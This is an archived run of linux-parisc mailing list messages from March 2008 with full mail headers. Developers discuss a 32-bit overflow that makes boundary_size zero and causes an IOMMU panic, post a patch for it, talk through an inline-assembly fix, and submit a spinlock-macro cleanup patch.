Subject: panic in iommu_is_span_boundary with 32-bit kernel on c3750
Date: Fri, 14 Mar 2008 19:31:54 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20080314233156.E0DAB4E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205537540 3375 80.91.229.12 (14 Mar 2008 23:32:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Mar 2008 23:32:20 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 15 00:32:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaJOA-0008Pl-MQ
	for glpp-linux-parisc@gmane.org; Sat, 15 Mar 2008 00:32:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755003AbYCNXcD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Mar 2008 19:32:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755505AbYCNXcD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 14 Mar 2008 19:32:03 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3708 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755003AbYCNXcB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Mar 2008 19:32:01 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E0DAB4E77; Fri, 14 Mar 2008 19:31:55 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:209
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/209>

Kyle's tree (vmlinux-2.6.25-rc4-01283-gef95dd8) panics on my c3750 at
iommu_is_span_boundary+0x28.  Looking at the code, I see the panic is
caused by a call with r23 = 0.  The call is from sba_alloc_range.  The
actual call appears to be from an inlined copy of sba_search_bitmap.
It seems that boundary_size must be 0.

Should there be a check in sba_search_bitmap, or is the problem
deeper in dma_get_seg_boundary?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: panic in iommu_is_span_boundary with 32-bit kernel on c3750
Date: Sat, 15 Mar 2008 01:05:48 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <20080315070548.GB2158@colo.lackof.org>
References: <20080314233156.E0DAB4E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205564771 32562 80.91.229.12 (15 Mar 2008 07:06:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Mar 2008 07:06:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 15 08:06:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaQTW-0004ft-JC
	for glpp-linux-parisc@gmane.org; Sat, 15 Mar 2008 08:06:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751088AbYCOHGD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Mar 2008 03:06:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751131AbYCOHGC
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Mar 2008 03:06:02 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:35995 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751088AbYCOHGA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Mar 2008 03:06:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 152AC30007C;
	Sat, 15 Mar 2008 01:05:59 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06169-04; Sat, 15 Mar 2008 01:05:48 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B072B300018; Sat, 15 Mar 2008 01:05:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080314233156.E0DAB4E77@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:210
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/210>

On Fri, Mar 14, 2008 at 07:31:54PM -0400, John David Anglin wrote:
> Kyle's tree (vmlinux-2.6.25-rc4-01283-gef95dd8) panics on my c3750 at
> iommu_is_span_boundary+0x28.

32-bit or 64-bit kernel?

>  Looking at the code, I see the panic is
> caused by a call with r23 = 0.  The call is from sba_alloc_range.  The
> actual call appears to be from an inlined copy of sba_search_bitmap.
> It seems that boundary_size must be 0.
> 
> Should there be a check in sba_search_bitmap, or is the problem
> deeper in dma_get_seg_boundary?

I don't expect a deeper problem given this definition:
static inline unsigned long dma_get_seg_boundary(struct device *dev)
{
        return dev->dma_parms ?
                dev->dma_parms->segment_boundary_mask : 0xffffffff;
}

I'm not sure how boundary_size could ever be zero.
Could this code generate a zero value?

        boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
        boundary_size >>= IOVP_SHIFT;

I thought ALIGN() would "ROUND_UP()". So it should always be at least 1
returned.

But in the 32-bit kernel ~0 + 1 == 0 (with overflow).
Will the ALIGN do the right thing in that case?
It looks like it will return 0 because of overflow and I think the
intent is "4GB >> IOVP_SHIFT" (so 20 bits, ie 1MB).
Maybe we want dma_get_seg_boundary() to deal with the ALIGN and other stuff
so it just returns a PAGE_SIZE count?

A simple test before assigning boundary_size would be to check
"dev->dma_parms". If dev->dma_parms is zero, just return 1 << 20
and see if that works for you.

But I'm pretty tired right now (long week) and I can't wrap my brain
around the bit flipping. Would be good if someone else confirmed.

cheers,
grant

> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: panic in iommu_is_span_boundary with 32-bit kernel on c3750
Date: Sat, 15 Mar 2008 01:08:53 -0600
Lines: 72
Approved: news@gmane.org
Message-ID: <20080315070853.GC2158@colo.lackof.org>
References: <20080314233156.E0DAB4E77@hiauly1.hia.nrc.ca> <20080315070548.GB2158@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205564955 549 80.91.229.12 (15 Mar 2008 07:09:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Mar 2008 07:09:15 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 15 08:09:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaQWU-0004ft-AL
	for glpp-linux-parisc@gmane.org; Sat, 15 Mar 2008 08:09:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751131AbYCOHJH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Mar 2008 03:09:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751242AbYCOHJH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Mar 2008 03:09:07 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:36033 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751131AbYCOHJF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Mar 2008 03:09:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D53DD6F800F;
	Sat, 15 Mar 2008 01:09:03 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06169-06; Sat, 15 Mar 2008 01:08:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 603A5300018; Sat, 15 Mar 2008 01:08:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080315070548.GB2158@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:211
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/211>

On Sat, Mar 15, 2008 at 01:05:48AM -0600, Grant Grundler wrote:
> On Fri, Mar 14, 2008 at 07:31:54PM -0400, John David Anglin wrote:
> > Kyle's tree (vmlinux-2.6.25-rc4-01283-gef95dd8) panics on my c3750 at
> > iommu_is_span_boundary+0x28.
> 
> 32-bit or 64-bit kernel?

doh...nm. I finally read the whole subject line (32-bit). :)
Please just ignore that and focus on the rest of the email.

grant

> 
> >  Looking at the code, I see the panic is
> > caused by a call with r23 = 0.  The call is from sba_alloc_range.  The
> > actual call appears to be from an inlined copy of sba_search_bitmap.
> > It seems that boundary_size must be 0.
> > 
> > Should there be a check in sba_search_bitmap, or is the problem
> > deeper in dma_get_seg_boundary?
> 
> I don't expect a deeper problem given this definition:
> static inline unsigned long dma_get_seg_boundary(struct device *dev)
> {
>         return dev->dma_parms ?
>                 dev->dma_parms->segment_boundary_mask : 0xffffffff;
> }
> 
> I'm not sure how boundary_size could ever be zero.
> Could this code generate a zero value?
> 
>         boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
>         boundary_size >>= IOVP_SHIFT;
> 
> I thought ALIGN() would "ROUND_UP()". So it should always be at least 1
> returned.
> 
> But in the 32-bit kernel ~0 + 1 == 0 (with overflow).
> Will the ALIGN do the right thing in that case?
> It looks like it will return 0 because of overflow and I think the
> intent is "4GB >> IOVP_SHIFT" (so 20 bits, ie 1MB).
> Maybe we want dma_get_seg_boundary() to deal with the ALIGN and other stuff
> so it just returns a PAGE_SIZE count?
> 
> A simple test before assigning boundary_size would be to check
> "dev->dma_parms". If dev->dma_parms is zero, just return 1 << 20
> and see if that works for you.
> 
> But I'm pretty tired right now (long week) and I can't wrap my brain
> around the bit flipping. Would be good if someone else confirmed.
> 
> cheers,
> grant
> 
> > 
> > Dave
> > -- 
> > J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> > National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: panic in iommu_is_span_boundary with 32-bit kernel on c3750
Date: Sat, 15 Mar 2008 12:01:37 +0000
Lines: 65
Approved: news@gmane.org
Message-ID: <47DBBAA1.4020102@scarlet.be>
References: <20080314233156.E0DAB4E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205582424 8987 80.91.229.12 (15 Mar 2008 12:00:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Mar 2008 12:00:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 15 13:00:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaV4E-0002Yn-8q
	for glpp-linux-parisc@gmane.org; Sat, 15 Mar 2008 13:00:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751675AbYCOMAO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Mar 2008 08:00:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751750AbYCOMAO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Mar 2008 08:00:14 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:50988 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751675AbYCOMAN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Mar 2008 08:00:13 -0400
Original-Received: from [213.49.71.9] (ip-213-49-71-9.dsl.scarlet.be [213.49.71.9])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2FC03vI006610;
	Sat, 15 Mar 2008 13:00:04 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <20080314233156.E0DAB4E77@hiauly1.hia.nrc.ca>
X-DCC-scarlet.be-Metrics: eir 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:212
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/212>

John David Anglin wrote:
> Kyle's tree (vmlinux-2.6.25-rc4-01283-gef95dd8) panics on my c3750 at
> iommu_is_span_boundary+0x28.  Looking at the code, I see the panic is
> caused by a call with r23 = 0.  The call is from sba_alloc_range.  The
> actual call appears to be from an inlined copy of sba_search_bitmap.
> It seems that boundary_size must be 0.
> 
> Should there be a check in sba_search_bitmap, or is the problem
> deeper in dma_get_seg_boundary?
> 
> Dave

Yes Kyle tree doesn't yet include the latest patch of Fujita Tomonori?

Here it was:

Really sorry about the bug. Can you try the following patch? It's on
the top of the patchset.

Thanks,

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 2f3b364..d0855a1 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -366,8 +366,8 @@ ccio_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
  	** ggg sacrifices another 710 to the computer gods.
  	*/

-	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
-	boundary_size >>= IOVP_SHIFT;
+	boundary_size = ALIGN((unsigned long long)dma_get_seg_boundary(dev) + 1,
+			      1ULL << IOVP_SHIFT) >> IOVP_SHIFT;

  	if (pages_needed <= 8) {
  		/*
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index e834127..bdbe780 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -341,8 +341,8 @@ sba_search_bitmap(struct ioc *ioc, struct device *dev,
  	unsigned long shift;
  	int ret;

-	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
-	boundary_size >>= IOVP_SHIFT;
+	boundary_size = ALIGN((unsigned long long)dma_get_seg_boundary(dev) + 1,
+			      1ULL << IOVP_SHIFT) >> IOVP_SHIFT;

  #if defined(ZX1_SUPPORT)
  	BUG_ON(ioc->ibase & ~IOVP_MASK);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

It works to me on c110, d380, b2k (32bit kernels) and b2k 64bit kernel.

Hth,
	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Sat, 15 Mar 2008 12:03:05 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <47DBBAF9.8070205@scarlet.be>
References: <20080314153512.0AEAC4E6A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205582603 9538 80.91.229.12 (15 Mar 2008 12:03:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Mar 2008 12:03:23 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, soete.joel@scarlet.be,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	kyle@parisc-linux.org, matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 15 13:03:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaV77-0002Yn-0y
	for glpp-linux-parisc@gmane.org; Sat, 15 Mar 2008 13:03:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751780AbYCOMDO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Mar 2008 08:03:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751792AbYCOMDN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Mar 2008 08:03:13 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:48860 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751780AbYCOMDN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Mar 2008 08:03:13 -0400
Original-Received: from [213.49.71.9] (ip-213-49-71-9.dsl.scarlet.be [213.49.71.9])
	(authenticated bits=0)
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2FC1Urc005032;
	Sat, 15 Mar 2008 13:01:32 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <20080314153512.0AEAC4E6A@hiauly1.hia.nrc.ca>
X-DCC-scarlet.be-Metrics: hel 20001; Body=8 Fuz1=8 Fuz2=8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:213
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/213>

John David Anglin wrote:
>>> The depw will operate on the left word.  Looks like it should be
>>>
>>>         asm volatile("depw  %1,31,12,%R0" : "+r" (pa) : "r" (hints));
> 
> Sorry, the `R' to access the right half of pa is needed when generating
> 32-bit code.  The original form might be ok when generating 64-bit
> code but I'd have to check the arch.  With 64-bit code, you might need
> to use depd.  The other approach might be to change pa to u32.
> 
> Dave
Ok if I have some time next week I will check.

Tx,
	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert P. J. Day" <rpjday@crashcourse.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: Replace deprecated SPIN_LOCK_UNLOCKED macro in
 semaphore.h.
Date: Sat, 15 Mar 2008 09:31:19 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <alpine.LFD.1.00.0803150929360.22840@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1205587898 23818 80.91.229.12 (15 Mar 2008 13:31:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Mar 2008 13:31:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 15 14:32:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaWUQ-0000hu-9w
	for glpp-linux-parisc@gmane.org; Sat, 15 Mar 2008 14:31:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751749AbYCONbX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Mar 2008 09:31:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751780AbYCONbX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Mar 2008 09:31:23 -0400
Original-Received: from astoria.ccjclearline.com ([64.235.106.9]:48777 "EHLO
	astoria.ccjclearline.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751749AbYCONbW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Mar 2008 09:31:22 -0400
Original-Received: from cpe001d60ad7267-cm001225dbafb6.cpe.net.cable.rogers.com ([99.236.100.208] helo=crashcourse.ca)
	by astoria.ccjclearline.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.68)
	(envelope-from <rpjday@crashcourse.ca>)
	id 1JaWTp-0005d0-Hk
	for linux-parisc@vger.kernel.org; Sat, 15 Mar 2008 09:31:21 -0400
X-X-Sender: rpjday@localhost.localdomain
User-Agent: Alpine 1.00 (LFD 882 2007-12-20)
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - astoria.ccjclearline.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - crashcourse.ca
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:214
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/214>


Signed-off-by: Robert P. J. Day <rpjday@crashcourse.ca>

---

  does this make sense?

diff --git a/include/asm-parisc/semaphore.h
b/include/asm-parisc/semaphore.h
index a16271c..3d5ee7a 100644
--- a/include/asm-parisc/semaphore.h
+++ b/include/asm-parisc/semaphore.h
@@ -44,7 +44,7 @@ struct semaphore {

 #define __SEMAPHORE_INITIALIZER(name, n)				\
 {									\
-	.sentry		= SPIN_LOCK_UNLOCKED,				\
+	.sentry		= __SPIN_LOCK_UNLOCKED(name),			\
 	.count		= n,						\
 	.wait		= __WAIT_QUEUE_HEAD_INITIALIZER((name).wait)	\
 }
========================================================================
Robert P. J. Day
Linux Consulting, Training and Annoying Kernel Pedantry:
    Have classroom, will lecture.

http://crashcourse.ca                          Waterloo, Ontario, CANADA
========================================================================
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert P. J. Day" <rpjday@crashcourse.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: Replace deprecated SPIN_LOCK_UNLOCKED macro in
 semaphore.h.
Date: Sat, 15 Mar 2008 09:41:28 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <alpine.LFD.1.00.0803150939590.22947@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1205588506 25357 80.91.229.12 (15 Mar 2008 13:41:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Mar 2008 13:41:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 15 14:42:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaWeL-0003wq-LQ
	for glpp-linux-parisc@gmane.org; Sat, 15 Mar 2008 14:42:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751780AbYCONle (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Mar 2008 09:41:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751790AbYCONle
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Mar 2008 09:41:34 -0400
Original-Received: from astoria.ccjclearline.com ([64.235.106.9]:49184 "EHLO
	astoria.ccjclearline.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751780AbYCONld (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Mar 2008 09:41:33 -0400
Original-Received: from cpe001d60ad7267-cm001225dbafb6.cpe.net.cable.rogers.com ([99.236.100.208] helo=crashcourse.ca)
	by astoria.ccjclearline.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.68)
	(envelope-from <rpjday@crashcourse.ca>)
	id 1JaWde-00063w-IC
	for linux-parisc@vger.kernel.org; Sat, 15 Mar 2008 09:41:30 -0400
X-X-Sender: rpjday@localhost.localdomain
User-Agent: Alpine 1.00 (LFD 882 2007-12-20)
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - astoria.ccjclearline.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - crashcourse.ca
X-Source: 
